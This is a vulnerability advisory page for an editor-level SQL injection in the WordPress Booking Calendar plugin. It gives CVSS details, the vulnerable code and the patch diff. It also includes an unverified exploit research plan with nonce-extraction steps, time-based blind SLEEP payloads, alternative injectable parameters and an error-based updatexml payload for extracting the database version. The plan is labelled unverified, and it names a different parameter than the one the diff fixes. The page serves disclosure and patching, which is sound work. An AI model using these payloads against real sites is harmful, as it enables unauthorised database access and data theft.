CVE-2026-32358

Booking Calendar <= 10.14.15 - Authenticated (Editor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
10.14.16
Patched in
61d
Time to patch

Description

The Booking Calendar plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 10.14.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.14.15
PublishedFebruary 14, 2026
Last updatedApril 15, 2026
Affected pluginbooking

What Changed in the Fix

Changes introduced in v10.14.16

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a SQL injection vulnerability in Booking Calendar <= 10.14.15. ### 1. Vulnerability Summary The Booking Calendar plugin is vulnerable to an **Authenticated (Editor+) SQL Injection** within its booking listing functionality. The vulnerability exists b…

Show full research plan

This research plan outlines the steps to exploit a SQL injection vulnerability in Booking Calendar <= 10.14.15.

1. Vulnerability Summary

The Booking Calendar plugin is vulnerable to an Authenticated (Editor+) SQL Injection within its booking listing functionality. The vulnerability exists because user-supplied filters for the booking table are insufficiently sanitized and are concatenated directly into SQL queries without using $wpdb->prepare(). Specifically, parameters intended to be used in SQL IN clauses or complex WHERE conditions are improperly handled, allowing an attacker with Editor-level privileges to inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpbc_get_bookings_listing
  • Vulnerable Parameter: wh_booking_type (and potentially wh_pay_status or wh_approved)
  • Authentication: Requires a user with at least Editor privileges (or any user with the manage_bookings capability).
  • Preconditions: The attacker must be logged in and possess a valid WordPress nonce for the wpbc_ajx_booking_listing action.

3. Code Flow

  1. Entry Point: The attacker sends a POST request to admin-ajax.php with the action wpbc_get_bookings_listing.
  2. Parameter Mapping: The plugin calls wpbc_ajx_get__request_params__names_default() (found in includes/page-bookings/bookings__sql.php) to extract and "validate" parameters from $_REQUEST.
  3. Vulnerable Processing: The parameter wh_booking_type is defined as digit_or_csd (digit or comma-separated digits). If the validation is bypassed or if the parameter is used before strict validation, it is passed to the SQL construction logic.
  4. SQL Construction: A function (typically wpbc_get_bookings_sql or similar, inferred from bookings__sql.php) constructs the final query. It builds a $where clause by concatenating the filters.
  5. Sink: The raw SQL string is executed via $wpdb->get_results() without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

The AJAX action wpbc_get_bookings_listing requires a nonce. This nonce is localized when an authorized user visits the Bookings page.

  1. Identify Page: The Bookings listing is located at wp-admin/admin.php?page=wpbc.
  2. Navigation: Log in as an Editor and navigate to this URL.
  3. Extraction: The plugin uses wp_localize_script to pass the nonce to the frontend. The data is stored in the global JavaScript object wpbc_ajx_booking_listing.
  4. Execution Agent Command:
    // Use browser_eval to extract the nonce
    const nonce = browser_eval("window.wpbc_ajx_booking_listing?.nonce");
    

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

  • Step 1: Login
    Log in as a user with the Editor role.
  • Step 2: Nonce Extraction
    Navigate to wp-admin/admin.php?page=wpbc and extract wpbc_ajx_booking_listing.nonce.
  • Step 3: Trigger Injection
    Send a POST request to admin-ajax.php.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: wpbc_get_bookings_listing
    • _wpnonce: [EXTRACTED_NONCE]
    • wh_booking_type: 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    • wh_trash: any

Payload Analysis:
The payload 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - is designed to break out of an IN ( ... ) clause. If the original query is SELECT ... WHERE resource_id IN (1), the injected query becomes SELECT ... WHERE resource_id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -).

6. Test Data Setup

  1. User Creation:
    wp user create attacker_editor editor@example.com --role=editor --user_pass=password123
    
  2. Plugin Activation: Ensure the Booking Calendar plugin is active.
  3. Booking Data (Optional): Creating a single booking ensures the query returns results, though blind injection should work regardless if the condition is appended to the WHERE clause.

7. Expected Results

  • The HTTP request should take at least 5 seconds to complete.
  • The response will likely be a JSON object starting with {"success":true...} if the syntax is valid, or 0 if the action fails, but the timing is the primary indicator of success.

8. Verification Steps

After performing the exploit, verify the vulnerability by checking the response time difference between a true and false condition:

  1. True condition (Delay): wh_booking_type=1) AND 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  2. False condition (No Delay): wh_booking_type=1) AND 1=2 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

9. Alternative Approaches

If wh_booking_type is strictly validated, try the following parameters defined in includes/page-bookings/bookings__sql.php:

  • wh_pay_status[]: This is defined as an array. Sending a string or a crafted array element may bypass validation:
    wh_pay_status[]=all') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • wh_approved: Similar to wh_booking_type, it uses digit_or_csd validation.
  • wh_booking_date[]: Also an array parameter.

If the environment has WP_DEBUG enabled, switch to an error-based payload to extract the database version:

  • wh_booking_type=1) AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Calendar plugin for WordPress is vulnerable to SQL injection through the booking listing functionality. Authenticated attackers with Editor privileges or higher can inject arbitrary SQL commands into database queries because user-supplied filters are concatenated directly into SQL strings without being processed by $wpdb->prepare() or receiving sufficient sanitization.

Vulnerable Code

// includes/page-bookings/bookings__sql.php lines 1043-1049

} else if ($wh_booking_date  === '4') {                                     // Next
    $sql_where  =               $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;
    // $sql_where .=               $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ;
    $sql_where .=               $and_pre."( ".$pref."booking_date > ( " . wpbc_sql_date_math_expr_explicit('', 'curdate') . " ) ) ".$and_suf ;                    // FixIn: 8.0.1.1.

} else if ($wh_booking_date  === '5') {                                     // Prior
    $wh_booking_date2 = str_replace('-', '', $wh_booking_date2);
    $sql_where  =               $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;

---

// includes/page-bookings/bookings__sql.php lines 1125-1128

} else if ($wh_modification_date  === '5') {                                // Prior
    $wh_modification_date2 = str_replace('-', '', $wh_modification_date2);
    $sql_where  =               $and_pre."( ".$pref."modification_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_modification_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/booking/10.14.15/includes/page-bookings/bookings__sql.php /home/deploy/wp-safety.org/data/plugin-versions/booking/10.14.16/includes/page-bookings/bookings__sql.php
--- /home/deploy/wp-safety.org/data/plugin-versions/booking/10.14.15/includes/page-bookings/bookings__sql.php	2026-02-09 08:54:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/booking/10.14.16/includes/page-bookings/bookings__sql.php	2026-02-10 08:19:20.000000000 +0000
@@ -1043,12 +1043,14 @@
 			        $sql_where =  '';
 
 			    } else if ($wh_booking_date  === '4') {                                     // Next
+					$wh_booking_date2 = intval( $wh_booking_date2 );                      // FixIn: 10.14.16.1.
 			        $sql_where  =               $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;
 			        // $sql_where .=               $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ;
 				    $sql_where .=               $and_pre."( ".$pref."booking_date > ( " . wpbc_sql_date_math_expr_explicit('', 'curdate') . " ) ) ".$and_suf ;                    // FixIn: 8.0.1.1.
 
 			    } else if ($wh_booking_date  === '5') {                                     // Prior
 			        $wh_booking_date2 = str_replace('-', '', $wh_booking_date2);
+					$wh_booking_date2 = intval( $wh_booking_date2 );                      // FixIn: 10.14.16.1.
 			        $sql_where  =               $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;
 			        $sql_where .=               $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ;
 
@@ -1125,6 +1127,7 @@
 
 			    } else if ($wh_modification_date  === '5') {                                // Prior
 			        $wh_modification_date2 = str_replace('-', '', $wh_modification_date2);
+					$wh_modification_date2 = intval( $wh_modification_date2 );              // FixIn: 10.14.16.1.
 			        $sql_where  =               $and_pre."( ".$pref."modification_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_modification_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;
 			        $sql_where .=               $and_pre."( ".$pref."modification_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ;

Exploit Outline

To exploit this vulnerability, an attacker must have Editor-level access. First, the attacker logs in and navigates to the Bookings page (wp-admin/admin.php?page=wpbc) to retrieve the required CSRF nonce from the `wpbc_ajx_booking_listing.nonce` JavaScript object. The attacker then sends a POST request to `wp-admin/admin-ajax.php` with the action `wpbc_get_bookings_listing`. By manipulating parameters such as `wh_booking_date` and `ui_wh_booking_date_next` (which populates the internal `$wh_booking_date2`), the attacker can inject SQL commands into the `INTERVAL` clause. For example, a time-based blind payload like `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` will cause the database to delay execution, confirming the injection.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.